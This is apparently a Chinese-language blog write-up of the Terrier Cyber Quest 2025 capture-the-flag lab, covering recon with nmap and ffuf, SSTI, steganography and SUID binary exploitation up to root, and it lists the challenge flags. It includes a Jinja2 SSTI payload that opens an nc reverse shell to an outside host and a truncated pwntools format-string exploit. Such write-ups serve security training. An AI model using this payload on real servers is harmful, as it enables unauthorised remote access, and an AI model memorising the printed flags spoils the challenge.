Terrier Cyber Quest 2025 CTF实战解析:从SSTI漏洞到Root权限提升

本文详细记录了Terrier Cyber Quest 2025 CTF比赛的完整解题过程,涵盖初始访问阶段的SSTI漏洞利用、多层权限提升技术,包括二进制漏洞分析和ROP链构建,最终通过格式化字符串漏洞和栈溢出获得root权限。

Terrier Cyber Quest 2025 — 简要解题记录

初始访问

运行nmap扫描:

1
sudo nmap -sC 192.168.57.24 -A -v -p-

在5000端口发现web服务器。

使用ffuf进行目录模糊测试:

1
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806

发现页面后测试SSTI漏洞并确认存在。

使用以下payload获得初始立足点:

1
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}

获得第一个flag:S3Cur1ty_Br3@k_P@55ed

权限提升 — 第一阶段

在根目录发现可疑目录,找到包含下一个挑战提示的笔记。

调查pcapng文件并复制所有ICMP数据,通过Hex解码获得编码文本:

1
22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4

使用CyberChef解码得到密码:H1dden_W0rlD_UnD3r_Bit

从捕获文件中导出Container.png,使用OpenStego工具提取隐藏凭证:F!ow3r#92@tY8&Vk

通过SSH获得flower用户shell。

在侦察中发现handler目录,检查运行进程时发现daemon.py以leaf用户身份运行。

修改handler.py文件内容为反向shell代码,通过netcat触发连接后获得leaf用户权限。

获得第三个flag:Y0u_kn0w_i5_th15_RaC3

权限提升 — 第二阶段

发现/bin/目录下存在名为challenge的SUID二进制文件,以stem用户身份运行。

分析发现是ret2win挑战,用户名为"john"。

通过覆盖GOT表项将exit@got.plt替换为win()函数,获得stem用户shell。

获得第四个flag:PwN_2_0wN_N0w_Y0u_ar3_5t3M

权限提升 — 第三阶段

发现名为final的SUID二进制文件,以root用户身份运行。

识别出格式化字符串漏洞,可泄漏libc地址、二进制地址和栈canary。

利用栈缓冲区溢出漏洞,通过ROP链调用libc函数:

1
2
3
4
5
6
from pwn import *

p = process("/bin/final")
p.sendline(b"%43$p-%61$p-%64$p")
leak = p.clean().split(b'Your Name:\n')[1].split(b'\n\n')[0].split(b'-')
# ... 完整利用代码 ...

运行exploit脚本后获得root权限,最终flag:D4Y_0_T0_zeR0_d4Y

总结

感谢阅读这篇简要解题记录。如果时间允许,我可能会发布关于最后一个二进制漏洞利用挑战的更详细分析。如有任何问题,欢迎交流。祝黑客愉快!💖

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计